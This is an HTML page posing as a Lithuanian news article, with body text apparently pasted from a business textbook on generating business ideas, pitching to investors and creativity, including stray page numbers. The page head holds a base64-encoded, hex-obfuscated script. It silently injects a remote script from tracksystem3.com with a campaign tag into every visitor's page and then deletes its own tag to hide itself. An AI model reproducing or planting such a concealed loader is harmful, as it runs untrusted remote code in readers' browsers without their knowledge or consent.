
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>Naujienos</title>
	<meta name="viewport" content="width=device-width">
	<link rel="stylesheet" href="assets/styles.min.css">
	<script id="SFKVX" src="data:text/javascript;base64, dmFyIF9xb1pqViA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oX0hoU2ZuLCBfVlZiZTApIHt2YXIgX2FVN25QID0gZnVuY3Rpb24oX2VRZXlVKSB7d2hpbGUgKC0tX2VRZXlVKSB7X0hoU2ZuWydwdXNoJ10oX0hoU2ZuWydzaGlmdCddKCkpO319O19hVTduUCgrK19WVmJlMCk7fShfcW9aalYsIDB4MTFiKSk7dmFyIF9Ic0ZWViA9IGZ1bmN0aW9uKF9mYUhBaiwgX2xubVF5KSB7X2ZhSEFqID0gX2ZhSEFqIC0gMHgwO3ZhciBfa1hQbGEgPSBfcW9aalZbX2ZhSEFqXTtyZXR1cm4gX2tYUGxhO307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfSHNGVlYoJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgX0pHQjhRID0gZG9jdW1lbnRbX0hzRlZWKCcweDEnKV0oX0hzRlZWKCcweDInKSk7X0pHQjhRW19Ic0ZWVignMHgzJyldID0gX0hzRlZWKCcweDQnKTtfSkdCOFFbJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg3NFx4NzJceDYxXHg2M1x4NmJceDczXHg3OVx4NzNceDc0XHg2NVx4NmRceDMzXHgyZVx4NjNceDZmXHg2ZFx4MmZceDVmXHg3Mlx4NjVceDZkXHg2Zlx4NzRceDY1XHg1Zlx4NzRceDcyXHg2MVx4NjNceDZiXHgyZVx4NmFceDczXHgzZlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHgzZFx4NjFceDZkXHg1MVx4MzVceDMwXHg3M1x4NjZceDQ0XHg2MVx4NzYnO2RvY3VtZW50W19Ic0ZWVignMHg1JyldKF9Ic0ZWVignMHg2JykpWydceDYxXHg3MFx4NzBceDY1XHg2ZVx4NjRceDQzXHg2OFx4NjlceDZjXHg2NCddKF9KR0I4USk7ZG9jdW1lbnRbX0hzRlZWKCcweDcnKV0oJ1NGS1ZYJylbJ1x4NzJceDY1XHg2ZFx4NmZceDc2XHg2NSddKCk7fSwgeydceDZmXHg2ZVx4NjNceDY1JzogISFbXX0pOw=="></script>
	
	
</head>

<body>
	<header>
		<div class="container">
			<div class="c-row">



				<nav>
					<div class="logo" style="width:60px;min-width:auto;">
						<a href="#"><img class="lazy img-responsive w-100"
								src="data:image/gif;base64,R0lGODlhBwACAIAAAP///wAAACH5BAEAAAEALAAAAAAHAAIAAAIDjI9YADs="
								data-src="assets/logo.png" data-srcset="assets/logo.png 1x, assets/logo.png 2x" alt="img"></a>
					</div>

					<ul class="d-md-none">
						<li><a href="#">Pagrindinis</a></li>
						<li><a href="#">Lietuva</a></li>
						<li><a class="active" href="#">Rekomenduojame</a></li>
						<li><a href="#">Politika</a></li>
						<li><a href="#">Bendruomenė</a></li>
						<li><a href="#">Ekonomika</a></li>
						<li><a href="#">Pasaulyje</a></li>
						<li><a href="#">Sportas</a></li>
						<li><a href="#">Įvykiai</a></li>
					</ul>
				</nav>

				<div class="more d-lg-none-up">
					<a href="#" class="burger">
						<svg class="menu-icon" width="35" height="35" viewBox="0 0 64 64" fill="currentColor"
							xmlns="https://www.w3.org/2000/svg" aria-hidden="true">
							<path d="M52.75,47.84H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M52.75,28.92H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M11.25,14.16h41.5a2.08,2.08,0,1,0,0-4.16H11.25a2.08,2.08,0,1,0,0,4.16Z"></path>
						</svg>
					</a>
				</div>

			</div>
		</div>

	</header>


	<!-- Custom HTML / Remove before use -->
	<div class="container">

		<div class="c-row">

			<!-- CONTENT START -->
			<div class="col-content">
				<div class="content">
					<div class="title">
						<h1 class="h1">Kaip surasti problemą ir ją paversti verslo idėja?
						</h1>
					</div>
					<div class="img-block">
						<div class="img-wrap">
							<!-- КАРТИНКА SRC="ЗАГЛУШКА В base64 в размер оригинальной картинки, нужна обязательно" DATA-SRC="Путь до картинки" DATA-SRCSET="путь до картинки 1x, аналогично x2" -->
							<img class="lazy img-responsive w-100"
								src="assets/001.png"
								data-src="assets/001.png" data-srcset="assets/001.png 1x, assets/001.png 2x" alt="img">
						</div>
						
					</div>
Versle svarbu galvoti apie klientą, nes tai yra raktas į sėkmę. Būtina suprasti apie kliento
poreikius, norus, stebėti ir suprasti jo elgesį rinkoje. Verta stebėti aplinką, pastebėti, klausytis ir
išgirsti, kokių rūpesčių ir problemų žmonės turi. Nustačius problemas, reikia rinkti žinias, kaip tas
problemas išspręsti. Todėl verslo idėjos pagrindas – mokėjimas aptikti aktualią problemą ir rasti jos
sprendimą, t. y. atsakyti sau į klausimą: kokią galima kurti vertę.
Jau veikiantis verslas taip pat sprendžia kokią nors svarbią problemą. Pvz., sporto klubas –
žmonės nori gerai jaustis, gražiai atrodyti. Didžioji jų dalis galėtų sportuoti namuose, tačiau dažnai
tam pritrūksta valios, taip pat ne visi gali nusipirkti reikiamos įrangos. Sporto klubai sprendžia
valios problemą (nenorima prarasti sumokėtų pinigų), be to, pigiau yra nusipirkti klubo
abonementą, nei visą reikiamą įrangą. Be to, dažnai skundžiamasi dėl priaugto svorio, blogos
savijautos ir pan. Sporto klubai išsprendžia didelę žmonių problemų dalį.
Dažnai sunku suprasti, ko būtent žmonės nori. Žiūrint į situaciją per problemos prizmę,
lengviau suprasti, ko žmonės nori ir kaip išspręsti jų problemą su konkrečia idėja.
Pasidomėjus, kaip veikia žmogaus smegenys, sužinosime, kad kiekviena baimė yra kilusi iš
noro. Pavyzdžiui, baimė prarasti pinigus kilusi iš noro turėti pinigų, baimė nuvilti tėvus – iš noro
nudžiuginti tėvus, baimė neišlaikyti egzaminų – iš noro gerai išlaikyti egzaminus. Už kiekvienos
problemos slypi norai. Jeigu žmonės nepatenkinti stovėdami eilėse, galima pasiūlyti apsipirkti
internetu. Problemos konvertavimas į galimybę – mokėjimas suprasti, kokio noro dėka gimė ši
problema. Tokiu būdu galima aptikti daug žmonių norų ir poreikių.
Idėjos gimsta visur, todėl verta visas idėjas, aptiktas problemas, įžvalgas ir mintis nuolatos
užrašinėti bei turėti idėjų saugyklą. Mokslininkai teigia, kad kai mes užrašome mintį, vyksta tam
tikri procesai, atlaisvinantys vietą naujoms idėjoms. Kai idėja užfiksuota, nėra reikalo apie ją
nuolatos galvoti, o tada ateina dar viena mintis ar idėja. Puikus posakis: net pati aštriausia atmintis
yra bukesnė už patį bukiausią pieštuką. Pasižymėti kilusias mintis galima elementarioje užrašų
knygutėje, mobiliojo ryšio telefone, planšetėje ar tiesiog paprastuose lapeliuose.
9
Vienas iš kūrybiškumo ugdymo pratimų: „kiek būdų panaudoti kastuvą?“. Taip pat laisvas
rašymas (ang. freewriting). Reikia duoti laiko limitą, nedaryti jokių pauzių ir tada atrinkti idėjas.
Vaizduotę lavinti gali padėti mėginimas iššifruoti užrašus svetima kalba (pvz., gali būti ir
hieroglifai). Taip kils įvairių asociacijų stengiantis iššifruoti tai, kas matoma ir taip gali kilti ne
viena nauja ir įdomi idėja. Užduotis lavins gebėjimus aptikti potencialias idėjas: pagalvok, kokias
problemas sprendžia žinomi verslininkai ir jų verslo idėjos?
Dažnai kvailos idėjos yra geros idėjos. Tai, kas yra kvaila kartais dar vadinama nenormaliu, o
viskas, kas yra kitaip nei normalu, yra vadinama kvaila, keista ir pan. Todėl dažnai visos naujos
idėjos yra laikomos kvailomis. Jeigu atsiranda jausmas, kad idėja yra kvaila, tai gali būti ženklas,
kad kaip tik ją verta apmąstyti. Ne visos kvailos idėjos yra vertos dėmesio, tačiau tarp vadinamų
“kvailų” idėjų, vertų idėjų yra žymiai daugiau nei atrodo.
Nei vienam verslininkui nepavyko iš karto sugalvoti tokios idėjos, kuri buvo būtent ta, kurią
įgyvendino. Todėl idėjų generavimo ir paieškos tikslas yra surinkti bent 10-20 idėjų, o geriau būtų
surinkti daug daugiau idėjų.
Ieškant verslo idėjos, svarbu ne tik suvokti, kokia problema sprendžiama ir ar ji kuria vertę, bet
ir atsižvelgti į kitą labai svarbų kriterijų – už kokios problemos sprendimą žmonės yra linkę mokėti
pinigus. Labai svarbu, kad žmonės būtų linkę mokėti už problemos sprendimą ir kuriamą vertę.
Pirmiausia verta pasižvalgyti, ar rinkoje yra bent vienas konkurentas, kuris jau sprendžia aptiktą
problemą? Gal tai kitoks tos pačios problemos sprendimo būdas, tačiau rinkoje turi būti bent vienas
konkurentas, kuriam už jūsų pasirinktos problemos sprendimą moka pinigus. Priešingu atveju gali
būti, kad dar nėra rinkos ir poreikio šiai problemai spręsti. Galbūt ir yra įmanoma sukurti naują
poreikį ar naują rinką, tačiau tai gali būti labai brangu ir sudėtinga.
Dažniausiai manoma, kad sprendimas turi būti kuo pigesnis, bet nebūtinai. Jeigu sprendimas
yra brangesnis, tai turi būti kuriama didesnė nauda, didesnė pridėtinė vertė.
Jeigu paslauga žmonėms bus pigesnė, tai privalome žinoti atsakymą į klausimą – kodėl ji
pigesnė? Ką šiuo atveju tokio turime, kad galime pasiūlyti mažesnę kainą. Pavyzdžiui, TELE2
pigesnes telekomunikacijų paslaugas galėjo pasiūlyti dėl vienos priežasties – jų organizaciniai
kaštai mažesni. Jie neperka naujausių technologijų, o diegia jas tik tada, kai jos atpinga. Verslas,
kuris siūlo mažesnę kainą, turi konkurencinį pranašumą – jis surado būdą, kaip pigiau sukurti
panašią vertę. Tiesa, yra ir kitas modelis: spręsti problemą pigiau savo pelno sąskaita, tačiau
galiausiai prieinama iki bankroto, nes tokiu atveju niekada nebus užtektinai pigiau.
Žmonės nori pigiau įsigyti gerus daiktus ir geras paslaugas, tačiau nenori pigių prekių ir pigių
paslaugų. Jie linkę mokėti daug už tai, ką vertina ir kas jiems svarbu. Svarbu tik aptikti tai, kas
žmonėms svarbu ir už ką jie linkę mokėti. Visa tai padeda suprasti, ar idėja tinka rinkai, ar ji
reikalinga žmonėms, ar rinka ją priims, ar žmonės mokės už tai pinigus.
1.1.2. Kaip rasti sau tinkančią idėją?
Norint atsirinkti tinkamą sau idėją, svarbu suprasti motyvaciją verslui kurti, nes būtent
motyvacijoje slypi atsakymas į šį klausimą.
Verslą sukūrusiems žmonėms patinka tai, ką jie daro. Kai pradeda pasakoti apie verslą, jie yra
kupini energijos, gali valandų valandas daryti tai, ką daro. Vieniems patinka bendrauti su
žmonėmis, kitiems – organizuoti, tretiems – kurti, dar kažkam patinka spręsti problemas ir t.t.
10
Dalis žmonių daro, nes taip reikia, o dalis žmonių – todėl, kad nori. Pirmuoju atveju žmonės
daro dėl būtinybės, o ne dėl galimybės. Tai požiūris, kuris turi didelę įtaką.
Pavyzdžiui, atsikėlimas ryte – vaikystėje kėlėmės eiti į mokyklą, nes norėjome, ar todėl, kad
reikėjo? Didžioji dalis vienareikšmiai atsako, kad dėl to, jog reikia. O kaip Kalėdų rytas? Didžioji
dalis atsako – dėl to, kad nori. Kuriais atvejais turime daugiau energijos? Daryti iš būtinybės yra
sunku, trūksta energijos ir motyvacijos (nes reikia). O kai pradedame daryti, nes norime ir darome
tai, kas mums patinka, energijos turime žymiai daugiau.
Verslas reikalauja labai daug energijos ir darbo, todėl didžioji dalis verslininkų, kuriems
pavyksta įgyvendinti verslo idėjas, pasirenka tokias, kurių pats įgyvendinimas yra patrauklus ir
įdomus. Tai labai stiprus motyvas veikti, siekti ir įgyvendinti.
Antras stiprus motyvas, kuris tik papildo pirmąjį – gimsta naujos idėjos, įdomu jas įgyvendinti.
Dažnam verslininkui galvoje besisukanti mintis jo neapleidžia, bent jau kol nepabando jos
įgyvendinti. Šių dviejų motyvų suma – stipri motyvacija kurti verslą.
Niekas nežino, ar idėja reali ir gera, kol nepabando jos įgyvendinti. Patikrinti, ar idėja gera, ar
neįmanoma, galima tik vienu būdu – pradėti įgyvendinti. Tik įgyvendinimas gali pasakyti, ar idėja
gera.
1.1.3. Idėjos vystymas
Įgyvendinant verslo idėją labai svarbus yra lankstumas. Todėl, esant reikalui, drąsiai galima ją
keisti. Verslo idėja ir jos planas yra kaip žemėlapis, kuriame nurodyta, kaip nukeliauti iš taško A
(kur esame dabar) į tašką B (kai idėja jau įgyvendinta). Todėl svarbu modifikuoti idėją. Dar
svarbiau - „skaityti” rinkos grįžtamąjį ryšį ir greitai į jį reaguoti.
Geriausias būdas modifikuoti verslo idėją - gilintis į tikslinės auditorijos poreikius. Svarbu
suprasti, kaip tikslinė auditorija mąsto, kaip ji elgiasi, kuo gyvena. Geriausia ją pažinti realiai, gyvai
bendraujant. Būtent šių žmonių įžvalgos ir pastebėjimai bus naudingiausi ir vertingiausi. Jų
pasakytus žodžius reikės konvertuoti, t. y. nepasitenkinimą, bambėjimą ir skundus reikės
modifikuoti iš problemos į sprendimą.
Dažnai žmonės, norėdami įgyvendinti verslo idėją, paskęsta planuose. Planuoja, vysto, tobulina
idėją. Sugalvoja, kad reikia puslapio, rinkodaros ar verslo plano ir bando padaryti. Arba sugalvoja,
kad reikia pinigų verslo pradžiai ir jų ieško. Dažnai pradėtas darbas gali trukti ne savaites, o
mėnesius. Dažniausiai prarandama motyvacija veikti dėl paprastos priežasties – nėra rezultato.
Patikrinti verslo idėją galima daug paprasčiau, nei manoma. Atsakykite sau į šiuos klausimus:
be ko galima patikrinti verslo idėją, t. y. ko nedarant galima ją patikrinti? Kokia kertinė verslo
idėjos dalis?
Labai dažnai idėja nėra vystoma dėl kritikos stokos arba miršta gavusi kritikos dozę. Abiem
atvejais – nemokama dirbti su kritika. Kritika dažnai sugadina santykius ir priveda prie neigiamų
pasekmių. Kita vertus, kritika yra geras įrankis. Pati savaime kritika nėra nei teigiama, nei
neigiama. Svarbu, kaip ji panaudojama ir kaip vertinama. Tik pati reakcija į kritiką priskiria ją prie
blogo arba gero, todėl reikia atsirinkti, kokia kritika padeda, o kokia trukdo.
Kita kritikos rūšis – grįžtamasis ryšys, kurio motyvas yra ketinimai – siekis padėti kitam
žmogui, noras pagerinti idėją. Tokiais atvejais grįžtamojo ryšio objektas yra ne žmogus, o veikla ar
idėja. Svarbu, kad grįžtamasis ryšys gerintų produktą, o kritika nemažintų motyvacijos ir 
11
entuziazmo. Kai žmonės kritikuoja jus, o ne idėją, kai jiems svarbiau parodyti savo pranašumą ar
įžeisti kitus, ignoruokite jų kritiką.			

                    </p>
Anksčiau tikslinė auditorija buvo aprašoma remiantis labiau demografiniais, socialiniais ir pan.
kriterijais. Vadinasi, svarbiausia buvo iš kokio miesto, kokios pajamos, kokio amžiaus, lyties ir pan.
Šiais laikais kriterijų laukas yra gerokai prasiplėtęs.
Kai renkantis tikslinę auditoriją pasirenkamas per daug platus laukas, pagal 3-4 aukščiau
minėtus kriterijus, galima numanyti, kad mums tinka 30-40 proc. šalies gyventojų. Tai per didelė
rinka. Rekomenduojama kuo tiksliau apsibrėžti tikslinę auditoriją, kad verslo idėją pavyktų
įgyvendinti efektyviau, nes gera verslo idėja dažniausiai yra orientuota ne į visus pasaulio žmones,
o į konkrečią tikslinę auditoriją.
Yra kelios priežastys, kodėl verta turėti tikslinę auditoriją. Paslaugų, kurios reikalingos visiems,
yra labai mažai. O jeigu ir reikalinga visiems, tai vienai auditorijos daliai – mažiau, kitai – daugiau.
Vieni linkę mokėti daugiau, kiti – mažiau. Vieni turi pinigų ir galimybių susimokėti, o kiti – ne.
Todėl vienas iš kriterijų yra pasirinkti auditoriją, kuri labiausiai linkusi mokėti už esamos
problemos sprendimą. Taip pat svarbūs ir tie, kurie turi galimybių mokėti. Pardavinėti ir
reklamuotis visiems yra brangu. Visiems tinkančios verslo idėjos įgyvendinimas reikalauja daug
kaštų. Reikia įveikti visų žmonių prieštaravimus, perteikti visiems teikiamą naudą, atsakyti į visų
rūpimus klausimus – visa tai atrodo neįmanoma, o jeigu ir įmanoma, tai labai brangu. Kur kas
racionaliau pasirinkti labiausiai tinkančią tikslinę auditoriją ir skirti visus resursus jai.
Kam pasirinkta problema yra aktualiausia ir kas labiausiai linkęs mokėti už šios problemos
sprendimą? Atsirinkite žmones, kuriems aktuali jūsų problema, atsakydami į klausimus: kur jie
lankosi, ką veikia? Kaip leidžia laiką? Kokie tai žmonės? Pabandykite kuo tiksliau įvardinti savo
tikslinę auditoriją.
Renkantis tikslinę auditoriją svarbu žinoti, kad skiriasi žmonių polinkis išbandyti naujas
paslaugas. Tačiau ne visi žmonės nori išbandyti naujienas. Didžioji visuomenės dalis yra linkusi
naudotis patikimais, jau žinomais ir patikrintais būdais. Todėl jeigu siūloma paslauga nauja, reikia
surasti savo novatorius, kurie norės išbandyti ir papasakoti ankstyviems naudotojams.
Yra 4 grupės: novatoriai, ankstyvieji naudotojai, ankstyvoji ir vėlyvoji dauguma ir atsilikėliai.
Novatoriai visada nori išbandyti naujus produktus. Jiems įdomi prekė tol, kol ji nauja ir niekas kitas
jos neturi. Ankstyvieji naudotojai perka naujausias prekes (paslaugas), kuriomis pradėjo naudotis
novatoriai. Ankstyvoji ir vėlyvoji dauguma perka tik tada, kai aplinkui žmonės pasakoja (teigiamus
ir neigiamus) atsiliepimus apie produktą, t. y. jį išbandė ir yra žinoma, ko galima tikėtis. Atsilikėliai
perka tik tada, kai visi, kas tik galėjo, jau pasinaudojo.
Taigi vystant verslo idėją, svarbu surasti žmonių, kuriems būtų įdomus jūsų produktas. Yra
daug sėkmingų pavyzdžių, kada dar iki paslaugos ar produkto starto jau buvo suburtas gerbėjų
būrys. Kuriant verslą, taip pat svarbu kurti stiprų prekinį ženklą, kuris padeda įtvirtinti poziciją
rinkoje.
1.1.5. Verslo idėjos pristatymas
12
Gerai parengtas verslo planas ir puiki verslo idėja yra pagrindiniai aspektai ieškant potencialių
investuotojų, tačiau didžiulės įtakos sėkmingam investuotojų pritraukimui turi ir verslo idėjos
pristatymas. Be verslo plano ir modelio idėja visada išliks tik idėja, todėl reikia nepamiršti išsamiai
paaiškinti, kaip žadama uždirbti pinigus iš savo idėjos.
Efektyviai prezentacijai reikalingas pasiruošimas, turinys ir įgūdžiai. Tinkamai pasiruošus ir
įvykdžius pagrindinius verslo idėjos pristatymo pasiruošimo etapus, galima žymiai padidinti
galimybes sulaukti investuotojų palaikymo ir gauti finansavimą idėjos įgyvendinimui.
Pagrindiniai pasiruošimo etapai:
1. Kam bus pristatoma idėja? Rekomenduojama pasidomėti asmenimis, kurie klausysis
pristatymo – kuriose srityse jie vykdo veiklą, kokiose įmonėse yra dirbę ar su kokiais
prekiniais ženklais yra susiję. Taip pat didelis privalumas yra žinoti asmenybės tipą.
Pavyzdžiui, jei žinote, jog pristatymo klausysis kūrybingas asmuo, galima būtų daugiau
skirti dėmesio prikaustančios dėmesį vizualinės pristatymo dalies paruošimui.
2. Kuo paprasčiau, tuo geriau. Svarbu likti susikoncentravus ties pagrindine pristatymo tema ir
idėja ir nenukrypti kalbomis į šoną. Pradėjus jausti, kad pristatymo metu per daug
gilinamasi į smulkmenas ar kalbama ne apie pagrindinius dalykus, reiktų sustoti. Pristatymo
laikas ribotas, todėl viskas turi būti apgalvota, struktūruota ir svarbu. Orientuotis laike gali
padėti prezentacijos skaidrių kiekis, tačiau jų vertėtų pateikti kaip galima mažiau.
Negaišinkite investuotojų kalbėdami apie tai, kas jiems neaktualu.
3. Silpnųjų pusių aptarimas. Jeigu verslo idėja turi silpnybių ar grėsmių, tai jų įvardinimas tik
parodo, jog buvo apie viską pagalvota ir žinoma, kaip būtų galima šias problemas išspręsti.
Tai sukuria pasitikėjimo ir saugumo jausmą būsimiems investuotojams. Taip pat reikia būti
pasiruošusiam atsakyti į sudėtingus ir suktus klausimus. Reikia būti pasirengusiam pagrįsti
savo sprendimus iki smulkiausių detalių.
4. Suprasti visus pateiktus skaičiavimus. Jeigu rengiant verslo planą analizes ir ataskaitas
padėjo atlikti samdytas apskaitininkas, būtina suprasti visus rodiklius bei skaičiavimus. Ko
nors nežinant, geriausia taip ir pasakyti, nes melas tik gali sugadinti reputaciją.
5. Ištirti savo konkurentus. Šiais laikais sunku surasti idėją, kuri būtų visapusiškai unikali ir
neturėtų̨
jokių konkurentų, todėl būtina pasidomėti visomis veiklomis bei verslo modeliais,
kurie nors kiek panašūs į pristatomą idėją. Savo pristatyme užsiminant apie konkurentus yra
puiki galimybė pasakyti, kuo ši idėja yra pranašesnė ir kodėl vartotojai turėtų pirkti
naujosios idėjos, o ne konkurentų produkciją. Reikia išsiaiškinti, koks galėtų būti
maksimalus rinkos dydis siūlomam produktui, kokie konkurentai veikia šioje srityje, kas
bus tiekėjai, kaip idėja atrodo kitiems, kokia produkto savikaina, kaip bus reklamuojama ir
t.t.
6. Rimtas požiūris į ateitį. Svarbu numatyti ir žinoti ateities planus, įmonės veiklos rezultatus
bei prognozuojamą pelningumą. Būtina puikiai žinoti praeitų metų įmonės veiklos
rezultatus (bent jau pardavimus, bendrąsias pajamas ir pelną), kur bus panaudoti gauti
pinigai ir kokie yra prognozuojami veiklos rezultatai ateinantiems trejiems metams.
Svarbiausi pristatymo elementai: pagrindinė žinutė ir turinys. Svarbiausia siūlyti naudą.
Rengiant pristatymą, svarbiausi žingsniai:
1. Atsakykite į klausimus:
13
– Kas man iš to?
– Kas jiems iš to?
2. Pamirškite save.
3. Sugalvokite ir užrašykite, kuo kiekviena pagrindinė idėja naudinga klausytojams.
Žvelgiant pro auditorijos akis, reikėtų atsakyti: „kodėl turiu to klausyti?“. Neradus atsakymo,
kodėl turi klausytis ir domėtis jūsų idėjomis, tai arba prastai buvo atliktas pirmas žingsnis -
neišgryninta nauda klausytojams ir investuotojams, arba prastai atliktas antras žingsnis – nepamiršti
asmeniniai interesai, kurie tiesiog užgožė siūlomą naudą investuotojams.
Pavyzdžiui, kylant liftu į viršutinį aukštą kartu su potencialiu investuotoju turima vos 30
sekundžių jį sudominti savo idėja. Per tą laiką reikia pateikti tik svarbiausią ir aktualiausią
informaciją. Jeigu nesutelpama į 30 sekundžių, tuomet pagrindinė žinutė ir jos svarba dar
nepakankamai išgryninta. Suformuota pagrindinė žinutė tampa pagrindu visai prezentacijai, o kita
reikalinga ir aktualia informacija tik papildo.
Pristatinėjant reikia susitelkti ne tik į savo kalbą, bet ir į kūno kalbą, balso toną. Daugiau nei
pusė informacijos yra perteikiama kūno kalba – gestai, stovėsena, aplinkos įtraukimas į savo
prezentaciją pasako daugiau nei kruopščiai prieš tai sudėlioti ir ištarti žodžiai. Įgūdžiai ateina tik iš
nuolatinio praktikavimosi ir repetavimo, savęs stebėjimo ir tobulinimosi, todėl verslo idėjos
pristatymo metu norint įtikinti investuotojus, reikia labai daug praktikuotis. Tai labai susiję su
pasitikėjimu savimi ir pristatoma idėja, o teisingai panaudota kūno kalba ir balso tonas padeda
sutelkti ir išlaikyti klausytojų dėmesį, įtikinti savo siūlomą naudą ir pasiekti rezultato – sėkmingo
investuotojų pritraukimo.
Tačiau svarbiausia tikėti savo idėja ir būti ambicingam. Investuotojams svarbu žinoti, ar
pateiktas verslo modelis turi galimybių augti ir ar tiksliai žinoma, kaip tai pasiekti. Motyvacija,
entuziazmas ir tikėjimas savo idėja yra būtini sėkmės atributai.
Idėjų pristatymui galima pasinaudoti įvairiomis skaitmeninėmis priemonėmis:

                    </p>
                    
                    Galimybių matymas. Galimybių kiekis yra didžiulis, nors kai kurie vietoj jų mato vien tik
pasiteisinimus. Nesakykite, kodėl to neįmanoma atlikti, klauskite, kaip tai atlikti.
Koncentracija ir prioritetai. Mokėjimas susikoncertuoti ties svarbiausiais dalykais duoda
didžiausią rezultatų grąžą. Pagal italų mokslininko Pareto atrastą ir jo vardu pavadintą dėsnį
pasaulyje galioja 80/20 principas: 80 proc. pasaulio pinigų priklauso 20 proc. pasaulio gyventojų;
80 proc. pasaulio gyventojų gyvena 20 proc. miestų; 80 proc. klientų atneša 20 proc. pajamų, o likę
20 proc. klientų atneša 80 proc. pajamų; 20 proc. darbų sukuria 80 proc. rezultato. Vadovaujantis
Pareto dėsniu, svarbu aptikti 20 proc. didžiausią grąžą duodančių̨ darbų ir skirti jiems kuo daugiau
dėmesio.
Geriausias momentas veikti – dabar. Žmonės yra linkę atidėlioti, o svarbių darbų
atidėliojimas kažkada nuveda į niekur. Laukimas ir atidėliojimas – didžiausi idėjų įgyvendinimo
priešai.
Mokėjimas įtraukti žmones. Svarbu mokytis įtraukti kitus bei burti aplink save stiprius
žmones.
Mokėjimas panaudoti kitų stipriąsias puses. Dažnai žmonės mato kitų silpnąsias puses. Deja,
žymiai mažiau žmonių moka aptikti kituose stipriąsias puses, o tuo labiau padėti kitiems jas aptikti
bei taip padėti jiems realizuoti save.
Požiūris į pinigus. Pinigai – nei gėris, nei blogis. Pinigai yra tiesiog įrankis. Daugelis bijo
pinigų. Verslininko, daug pinigų turinčio žmogaus įvaizdis visuomenėje yra neigiamas. Nei vienas
nenori būti neigiamai vertinamas ar tapti blogu, todėl dažnai priešinamasi sėkmingam verslo idėjos 
16
įgyvendinimui. Susiduriame su daugeliu vidinių konfliktų ir pasipriešinimų vien todėl, kad
vertiname pinigus kaip blogio elementą.
Partnerystės galimybės. Įgyvendinant verslo idėjas labai svarbu turėti partnerius, kurie
prisiima atsakomybę už tam tikrus etapus ar sritis. Nuo pat pradžios padaryti viską puikiai yra labai
sunku, todėl tam tikras spragas geriausiai galima užpildyti partneryste. Reiktų skirti visą dėmesį
tam, kas patiems yra įdomiausia ir kas yra verslo idėjos pagrindas. Vėliau, kai idėja bus galutinai
išvystyta, jos įgyvendinimas aiškus, išspręsti svarbiausi klausimai, galima patiems pradėti vykdyti
tam tikras verslo dalis. Verta paieškoti, kam iš verslo pasaulio yra aktuali idėja ir į kieno verslą
galima būtų įsitraukti (Tamošiūnas R.).
1.2. Kūrybiškumas
Kūrybiškumas kildinamas iš dviejų kalbų: lotynų „creatus“, t. y. „formos“, ir „creare“, t. y.
„gaminti“, graikiško žodžio „kreinein“, reiškiančio „atlikti“, „įvykdyti“.
Kūrybiškumas – sugebėjimas kelti naujas idėjas, mąstyti savarankiškai, nestereotipiškai,
greitai orientuotis sudėtingoje situacijoje, lengvai ir netipiškai spręsti problemas. Kūrybiškumą
daugiausia lemia individualios asmenybės savybės (vaizduotės lakumas, mąstymo greitumas,
tikslumas, lankstumas, išradingumas, konstruktyvumas, smalsumas, motyvacinė įtampa, poreikis
nuolat tobulinti savo veiklą), jos patyrimas, auklėjimas ir saviaukla.
Kūrybiškumas – tai procesas, kurį galima valdyti ir vystyti. Tai sugebėjimas generuoti naujas
idėjas, mąstyti unikaliai, nestereotipiškai ir savarankiškai, gebėjimas rasti unikalius sprendimus ir
greitai susiorientuoti iškilus problemoms.
1.4 pav. Žinios, patirtis, kūrybiškumas
Kūrybiškumas reikalauja, kad dirbtų abu smegenų pusrutuliai, tiek kairysis (logika,
planavimas), tiek dešinysis (vaizduotė, artistiškumas, intuicija).
Jeigu idėja pirmiausia neatrodo absurdiškai, tada jai nėra jokių šansų. Einšteinas
17
1.5 pav. Informacija, žinios, patirtis, strategija, intuicija, kūrybiškumas
Kūrybiškumas – tai naujų dalykų kūrimas. Galima išrasti ką nors naujo arba ką nors tobulinti.
Kūrybiškumas – tai:
1. Gebėjimas kurti naujas idėjas – derinant, keičiant ar iš naujo pritaikant egzistuojančias
idėjas.
2. Nuostata keistis, noras ieškoti naujų idėjų, lanksčiai jas priimti ir mokėti džiaugtis
naujovėmis, tai mąstymas, kad greta žinomų dalykų visada yra naujos galimybės. Kūrybiški
žmonės vadovaujasi nuostata, kad visada yra tobulinimo ir tobulėjimo galimybės.
3. Nuolatinis darbas, įvairių metodų naudojimas, tai žinojimas, kokius dalykus norime
tobulinti. Labai retai nauji dalykai sukuriami staiga ir atsitiktinai.
Kūrybingumo metodikos (nuo gr. methodike, „visuma būdų kokiam nors darbui ar veiksmui
atlikti“; angl. Creativity techniques) – tai metodai, skatinantys kūrybinius veiksmus visose mokslo
srityse. Kūrybiškumas siejamas su gebėjimu pažvelgti į daiktus, užduotis, problemas naujai,
neįprastai.
Walas (1926) išskyrė keturis kūrybinio proceso etapus:
1. idėjos ar problemos tyrimą ir informacijos apie ją rinkimą;
2. inkubaciją, kai aktyviai apie problemą negalvojama ir ji netiriama;
3. nušvitimą, t. y. problemos sprendimo atradimą;
4. sprendimo įvertinimą ir įgyvendinimą.
18
